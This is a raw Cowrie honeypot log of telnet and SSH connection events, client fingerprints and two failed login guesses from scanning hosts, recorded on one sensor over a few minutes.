{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":58669,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cbe89786815","protocol":"telnet","message":"New connection: 157.49.80.15:58669 (10.17.0.5:23) [session: 7cbe89786815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:35.076197Z"}
{"eventid":"cowrie.session.closed","duration":32.081708908081055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:39.740896Z","src_ip":"80.65.211.42","session":"4ba8fc55520d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":42506,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3371c1ddb38","protocol":"telnet","message":"New connection: 69.65.3.189:42506 (10.17.0.5:23) [session: a3371c1ddb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:41.146469Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":41563,"dst_ip":"10.17.0.5","dst_port":23,"session":"4060efadd82e","protocol":"telnet","message":"New connection: 157.49.80.15:41563 (10.17.0.5:23) [session: 4060efadd82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:42.683125Z"}
{"eventid":"cowrie.session.closed","duration":31.517561674118042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:43.611418Z","src_ip":"80.65.211.42","session":"bf2a8b01d467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39334797859192,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:46.646215Z","src_ip":"80.65.211.42","session":"41f3e694617c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34792,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e71008520a3","protocol":"ssh","message":"New connection: 80.94.92.184:34792 (10.17.0.5:22) [session: 3e71008520a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:47.805564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:47.886800Z","src_ip":"80.94.92.184","session":"3e71008520a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:48.047030Z","src_ip":"80.94.92.184","session":"3e71008520a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":59184,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac000f2ae246","protocol":"telnet","message":"New connection: 80.65.211.42:59184 (159.203.135.109:23) [session: ac000f2ae246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:48.674803Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:48.869669Z","src_ip":"80.94.92.184","session":"3e71008520a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:50.043095Z","src_ip":"80.94.92.184","session":"3e71008520a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13523006439209,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:58.701321Z","src_ip":"80.65.211.42","session":"8ccf9b8c469d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61416578292847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:18.760520Z","src_ip":"69.65.3.189","session":"a3371c1ddb38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84375619888306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:21.518430Z","src_ip":"80.65.211.42","session":"ac000f2ae246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb00aae8aeb","protocol":"telnet","message":"New connection: 80.65.211.42:42756 (159.203.135.109:23) [session: 4eb00aae8aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:22.705707Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":58492,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e4e655cf9a","protocol":"telnet","message":"New connection: 80.65.211.42:58492 (159.203.135.109:23) [session: f0e4e655cf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:47.614593Z"}
{"eventid":"cowrie.session.closed","duration":30.50761580467224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:53.213162Z","src_ip":"80.65.211.42","session":"4eb00aae8aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":41976,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75cf8abd6f5","protocol":"telnet","message":"New connection: 80.65.211.42:41976 (159.203.135.109:23) [session: a75cf8abd6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:00:54.555035Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":45694,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da71c5a8e53","protocol":"telnet","message":"New connection: 80.65.211.42:45694 (159.203.135.109:23) [session: 5da71c5a8e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:10.876274Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":60514,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d00917b3da8","protocol":"telnet","message":"New connection: 80.65.211.42:60514 (159.203.135.109:23) [session: 2d00917b3da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:16.418551Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":60530,"dst_ip":"159.203.135.109","dst_port":23,"session":"953eb50286a6","protocol":"telnet","message":"New connection: 80.65.211.42:60530 (159.203.135.109:23) [session: 953eb50286a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:20.091500Z"}
{"eventid":"cowrie.session.closed","duration":33.37566423416138,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:20.990135Z","src_ip":"80.65.211.42","session":"f0e4e655cf9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":60536,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c23ef0ad8cf","protocol":"telnet","message":"New connection: 80.65.211.42:60536 (159.203.135.109:23) [session: 7c23ef0ad8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:21.982159Z"}
{"eventid":"cowrie.session.closed","duration":30.889477729797363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:25.444400Z","src_ip":"80.65.211.42","session":"a75cf8abd6f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00123834609985,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:34.069029Z","src_ip":"157.49.80.15","session":"8c589b3bb000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":54204,"dst_ip":"10.17.0.5","dst_port":23,"session":"03faeabd1e31","protocol":"telnet","message":"New connection: 157.49.80.15:54204 (10.17.0.5:23) [session: 03faeabd1e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:34.698138Z"}
{"eventid":"cowrie.session.closed","duration":120.001944065094,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:35.077950Z","src_ip":"157.49.80.15","session":"7cbe89786815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":42780,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d0090aa4bba","protocol":"telnet","message":"New connection: 157.49.80.15:42780 (10.17.0.5:23) [session: 4d0090aa4bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:36.557990Z"}
{"eventid":"cowrie.session.closed","duration":120.00184965133667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:42.684827Z","src_ip":"157.49.80.15","session":"4060efadd82e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":6355,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe8881d8e2a","protocol":"telnet","message":"New connection: 157.49.80.15:6355 (10.17.0.5:23) [session: abe8881d8e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:43.238498Z"}
{"eventid":"cowrie.session.closed","duration":33.23495268821716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:44.111099Z","src_ip":"80.65.211.42","session":"5da71c5a8e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":46256,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f415801d92","protocol":"telnet","message":"New connection: 80.65.211.42:46256 (159.203.135.109:23) [session: b2f415801d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:46.606281Z"}
{"eventid":"cowrie.session.closed","duration":31.028037071228027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:47.446490Z","src_ip":"80.65.211.42","session":"2d00917b3da8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76599860191345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:52.857395Z","src_ip":"80.65.211.42","session":"953eb50286a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251771450042725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:01:53.233799Z","src_ip":"80.65.211.42","session":"7c23ef0ad8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55854,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ccef86dc70","protocol":"telnet","message":"New connection: 80.65.211.42:55854 (159.203.135.109:23) [session: d0ccef86dc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:10.373096Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ccddf8ffcf5","protocol":"telnet","message":"New connection: 80.65.211.42:53290 (159.203.135.109:23) [session: 0ccddf8ffcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:19.418935Z"}
{"eventid":"cowrie.session.closed","duration":33.425103187561035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.031293Z","src_ip":"80.65.211.42","session":"b2f415801d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37470,"dst_ip":"10.17.0.5","dst_port":22,"session":"75198a8e438b","protocol":"ssh","message":"New connection: 80.94.92.184:37470 (10.17.0.5:22) [session: 75198a8e438b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.149494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.264987Z","src_ip":"80.94.92.184","session":"75198a8e438b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.267922Z","src_ip":"80.94.92.184","session":"75198a8e438b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac8e0eec00fd","protocol":"telnet","message":"New connection: 80.65.211.42:53306 (159.203.135.109:23) [session: ac8e0eec00fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.668909Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:20.930767Z","src_ip":"80.94.92.184","session":"75198a8e438b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:22.073197Z","src_ip":"80.94.92.184","session":"75198a8e438b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1a63fe10e1","protocol":"telnet","message":"New connection: 80.65.211.42:53322 (159.203.135.109:23) [session: 4e1a63fe10e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:22.389367Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":59350,"dst_ip":"159.203.135.109","dst_port":23,"session":"109ec376ded8","protocol":"telnet","message":"New connection: 80.65.211.42:59350 (159.203.135.109:23) [session: 109ec376ded8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:41.041543Z"}
{"eventid":"cowrie.session.closed","duration":33.35238432884216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:43.725353Z","src_ip":"80.65.211.42","session":"d0ccef86dc70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":45916,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1274745b01","protocol":"telnet","message":"New connection: 80.65.211.42:45916 (159.203.135.109:23) [session: 2d1274745b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:49.048877Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":45920,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c3bb187b53","protocol":"telnet","message":"New connection: 80.65.211.42:45920 (159.203.135.109:23) [session: 82c3bb187b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:49.916604Z"}
{"eventid":"cowrie.session.closed","duration":31.514122009277344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:52.182910Z","src_ip":"80.65.211.42","session":"ac8e0eec00fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.596091985702515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:53.014938Z","src_ip":"80.65.211.42","session":"0ccddf8ffcf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28307294845581,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:02:54.672343Z","src_ip":"80.65.211.42","session":"4e1a63fe10e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.197","src_port":50628,"dst_ip":"159.203.135.109","dst_port":22,"session":"96eae2734e01","protocol":"ssh","message":"New connection: 92.118.39.197:50628 (159.203.135.109:22) [session: 96eae2734e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:01.453064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:01.459019Z","src_ip":"92.118.39.197","session":"96eae2734e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:01.558911Z","src_ip":"92.118.39.197","session":"96eae2734e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:01.988656Z","src_ip":"92.118.39.197","session":"96eae2734e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81172275543213,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:14.853129Z","src_ip":"80.65.211.42","session":"109ec376ded8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54318,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d922761a88","protocol":"telnet","message":"New connection: 80.65.211.42:54318 (159.203.135.109:23) [session: 84d922761a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:17.409117Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":47190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99877bb060c","protocol":"telnet","message":"New connection: 69.65.3.189:47190 (10.17.0.5:23) [session: f99877bb060c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:17.646202Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54334,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d382e5c223","protocol":"telnet","message":"New connection: 80.65.211.42:54334 (159.203.135.109:23) [session: 92d382e5c223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:18.039560Z"}
{"eventid":"cowrie.session.closed","duration":30.412327766418457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:20.328727Z","src_ip":"80.65.211.42","session":"82c3bb187b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284425258636475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:20.333165Z","src_ip":"80.65.211.42","session":"2d1274745b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.71.31","src_port":10934,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e9ef845a17","protocol":"telnet","message":"New connection: 72.27.71.31:10934 (10.17.0.5:23) [session: 62e9ef845a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:22.420636Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"a988829b4259","protocol":"telnet","message":"New connection: 69.65.3.189:48466 (10.17.0.5:23) [session: a988829b4259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:26.649718Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":48656,"dst_ip":"10.17.0.5","dst_port":23,"session":"35799c6e99c1","protocol":"telnet","message":"New connection: 69.65.3.189:48656 (10.17.0.5:23) [session: 35799c6e99c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:27.649028Z"}
